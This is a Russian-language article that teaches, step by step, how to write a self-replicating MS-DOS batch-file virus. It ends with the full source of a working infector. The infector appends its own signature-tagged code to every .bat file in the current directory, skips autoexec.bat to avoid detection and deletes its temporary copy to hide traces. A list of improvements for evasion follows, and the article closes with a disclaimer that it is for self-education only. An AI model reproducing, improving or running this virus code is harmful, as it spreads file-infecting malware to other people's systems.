Многие знают, что такое пакетные (batch) файлы MS-DOS. Но возможно ли написание вирусов под них? В данной статье рассмотрен пример такого вируса.

Сразу оговорюсь, данный пример вируса не является уникальным и единственным, просто к данной реализации вируса пришел лично я, хотя похожие вирусы были придуманы до меня и имеют огромное количество разновидностей. Также статья рассчитана на "продвинутых" пользователей, которые имели хороший опыт написания и работы с пакетными файлами, хотя каждая команда вируса будет подробно рассмотрена.

Начнем с первых трудностей, которые возникают при идее написания полноценного вируса (внедряющего свой код в чужой):

1) Как код вируса и записывать в чужую программу (batch-файл)? Как проверить, не заражен ли уже файл?
2) Как заразить каждый batch файл в текущей директории?
3) Вирус, естественно, не должен заражать файл autoexec.bat

Как код вируса и записывать в чужую программу (batch-файл)?
Как проверить, не заражен ли уже файл?

Самый сложный вопрос. Действительно, каким образом выделить свой код и записать его в чужой?

Ничего определенного для версий MS-DOS ниже 6, я сказать не могу (а вы, наверняка, и не найдете версий старее), но именно в MS-DOS 6.22 фильтр FIND стал возвращать результаты своей работы в качестве кода возврата ERRORLEVEL. Именно эта возможность и является ключевой во всем вирусе.

Коды возврата у фильтра FIND следующие:
0 - поиск выполнен, найдено, по крайней мере, одно совпадение
1 - поиск выполнен, не найдено совпадений
2 - поиск не выполнен, ошибка при вызове.

Теперь мы можем использовать фильтр FIND для того, чтобы извлечь наш код вируса из уже зараженного файла для записи в новую жертву. Но для этого в каждой строке кода вируса должна быть специальная уникальная сигнатура, по которой мы и будем выделять себя.

Рассмотрим пример:

CODE
echo Hello World | find "ld"
if errorlevel == 1 echo Сигнатура "ld" найдена.
if errorlevel == 0 echo Сигнатура "ld" не найдена.

В результате будет выведено сообщение о том, что сигнатура найдена (Hello World).

Точно таким же образом можно определить, заражен ли предполагаемый файл или нет.

CODE
find "signature" < file.bat > nul
if errorlevel 1 goto infect
goto next

В данном случае, при отсутствии текста "signature" в файле file.bat будет сделан переход на метку infect, иначе переход на метку next.

Как заразить каждый batch файл в текущей директории?

Чтобы получить список всех batch-файлов воспользуемся внутренней командой FOR.

for %%a in (*.bat) do ...

Тем самым в переменной %%a мы поочередно получим все .bat файлы в текущей директории. Но можно сделать лучше и расширить наш список файлов, путем добавления еше параметра ..\*.bat, благодаря которому мы получим список всех .bat файлов в родительской по отношению к нам директории. Но как же использовать данную переменную %%a? Ведь она имеет силу только в той же строчке, что и FOR, т.е. можно выполнить только одну команду с данной переменной.

Например,
for %%a in (*.bat) echo FILE: %%a

выведет список всех файлов в текущей директории.

Поэтому, единственным способом обработать все файлы, является вызов другого batch файла с переданным параметром в качестве переменной %%a. Какой же должен быть этот файл? Этот файл мы можем создать сами, т.е. наш вирус, и этот же файл будет обрабатывать все переданные ему значения переменной %%a, заражая данные файлы кодом вируса. Для упрощения (хотя, скорее усложнения), пусть данный файл полностью будет состоять из кода нашего вируса, в котором будет содержаться блок по обработке переданных параметров (файлов для заражения).

Вирус, естественно, не должен заражать файл autoexec.bat

Заражать данный файл опасно, т.к. пользователю, хоть и иногда, но все же приходится его редактировать и естественно, он может обнаружить вирус. Поэтому будем просто проверять имя каждого заражаемого файла на autoexec.bat Но нельзя делать простое сравнение:
if %1 == autoexec.bat goto next

Ведь сравнение строк идет с учетом регистра, а имя файла может быть записано по разному, например autoexec.BAT. Поэтому, мы здесь опять воспользуемся фильтром FIND, но с параметром /I, который указывает на поиск без учета регистра:

CODE
echo %1 | find /I "autoexec"
if not errorlevel 1 goto next
goto infect

Результаты

Давайте теперь объединим все блоки и получим работоспособный полноценный вирус:
1) В качестве сигнатуры нашего вируса возьмем 3 буквы: "dds"
2) Первое, что должен сделать вирус, это выключить ЭХО, не отобразив саму команду отключения эха, т.е. его выполнение должно пройти невидимым (п.1).
3) Т.к. мы решили, что внешний файл, заражающий другие, будет полностью состоять из кода нашего вируса, то необходимо в наш вирус добавить соответствующий блок, управление которому будет передаваться следующим образом: первый переданный параметр (%1) должен быть i (от infect), а вторым переданным параметром (%2) собственно файл-жертва для заражения. Поэтому следующим шагом будем проверять, не является ли первый переданный параметр i (п.2). Если да, то переходи на метку ddsI (п.7), к блоку заражения.
4) Возможно, зараженный нами batch-файл работает с переданными ему параметрами используя команду SHIFT, которая смешает значения переданных параметров влево. Тем самым, при одном единственном ее вызове, теряется первоначальное значение параметра %0, содержащее имя нашего файла. А без этого, мы не можем взять свой код вируса, поэтому дальнейшее выполнение вируса бесполезно (п.3) и мы переходи на метку ddsEnd.
5) Все основные проверки нами выполнены, теперь необходимо создать чистую копию нашего вируса в отдельном файле, который будет использоваться для заражения других batch-файлов (п.4). Таким файлом будет файл c:\dds.bat
6) Теперь попытаемся заразить каждый найденный batch-файл в текущей директории (п.5).
7) Вирус обработал все доступные ему batch-файлы, теперь его работа прекращена, переходим на метку ddsOff (п.6, п.18)
8) Удаляем следы нашего вируса, т.е. файл c:\dds.bat (п.19).
9) (п.7) - блок заражения
10) Прежде всего проверим, а передан ли нам 2-ой параметр, т.е. имя файла-жертвы? (п.8) Если нет, переходи на метку ddsEnd, т.е. выход (п.20)
11) Теперь проверим, не является ли наша жертва файлом autoexec.bat (п.9) Если есть намек на это (п.10), переходи на метку ddsEnd, т.е. выход (п.20)
12) Теперь проверим, не заражена ли уже наша жертва (п.11). Если да (п.12), переходи на метку ddsEnd, т.е. выход (п.20)
13) Все проверки выполнены, файл пригоден для заражения. Но перед записью нашего кода, необходимо в конец файла жертвы добавить пустую строку (п.13-15). Если этого не сделать, может получиться склейка последней команды жертвы и первой нашего вируса. Пример:
echo Конец работы@echo off>nul.dds
14) Теперь добавим код нашего вируса в конец файла-жертвы (п.16).
15) Переходи на метку выхода ddsEnd (п.20).

CODE
01
02 @echo off>nul.dds
03 if %1.==i. goto ddsI
04 if not exist %0 goto ddsEnd
05 find "dds"<%0>c:\dds.bat
06 for %%a in (*.bat) do call c:\dds.bat i %%a
07 goto ddsOff
08 :ddsI
09 if %2.==. goto ddsEnd
10 echo %2 | find /I "autoexec">nul.dds
11 if not errorlevel 1 goto ddsEnd
12 find "dds"<%2>nul
13 if not errorlevel 1 goto ddsEnd
14 echo.>enter.dds
15 type enter.dds>>%2
16 del enter.dds>nul.dds
17 type c:\dds.bat>>%2
18 goto ddsEnd
19 :ddsOff
20 if exist c:\dds.bat del c:\dds.bat>nul
:ddsEnd

Недочеты

Данный пример создан для обучения и понятия основных принципов работы, поэтому содержит некоторые недочеты:

*) Плохая сигнатура. Лучше что-то вроде "#4sf52gu", чтобы она не встретилась случайно где-нибудь в файле-жертве.
*) Заражение. Проверка первого параметра на i, как сигнал к заражению неудачна, лучше сделать сложную цепочку параметров или передавать очень сложное (уникальное) значение, как в случае с сигнатурой.
*) Заражение. Проверка наличия второго параметра недостаточна. Желательно сделать еще проверку на наличие этого файла.
*) Это не недочет, а просто возможность. В Windows, по умолчанию, запрешено использование длинных имен файлов в команде FOR. Но есть недокументированная встроенная команда LFNFOR, которая исправляет это. Просто необходимо ее вызвать перед командой FOR с параметром ON: LFNFOR ON

Заключение

Автор ни в коем случае не призывает Вас к написанию вирусов. Данная статья написана только для Вашего саморазвития и более глубокого изучения возможностей batch-файлов операционной системы MS-DOS.